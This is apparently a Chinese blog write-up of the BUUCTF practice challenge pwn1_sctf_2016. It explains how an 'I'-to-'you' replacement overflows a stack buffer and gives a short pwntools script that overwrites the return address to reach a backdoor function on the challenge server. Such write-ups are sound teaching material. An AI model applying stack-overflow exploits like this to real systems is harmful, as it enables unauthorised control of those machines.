【BUUCTF-PWN】5-pwn1_sctf_2016

32位,开启了NX保护
在这里插入图片描述

运行效果如下:
在这里插入图片描述

main函数
在这里插入图片描述

vuln()函数
在这里插入图片描述

这里中间处理的代码还看不太懂,只能看到you、i还有replace字符替换函数
试着运行效果如下,可知代码会把输入的I替换为you
在这里插入图片描述

strcpy()函数存在缓冲区溢出
变量s在栈中的位置位0x3c,想要溢出到Rbp需要60+4(因为是32位)=64。fgets()函数只允许输入32位长度,但是I可以变为you,因此可以输入20个I加三个a
在这里插入图片描述

找一下后门函数,函数的位置是0x8048F0D
在这里插入图片描述

这里可以直接用栈溢出的exp,稍微改一下就可以:

#!/usr/bin/python            
 
from pwn import *
 
io=remote("node5.buuoj.cn",29026)
payload=b'I'*20+b'a'*4+p32(0x8048F0D+1)
io.sendline(payload)
io.interactive()

运行结果如下:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值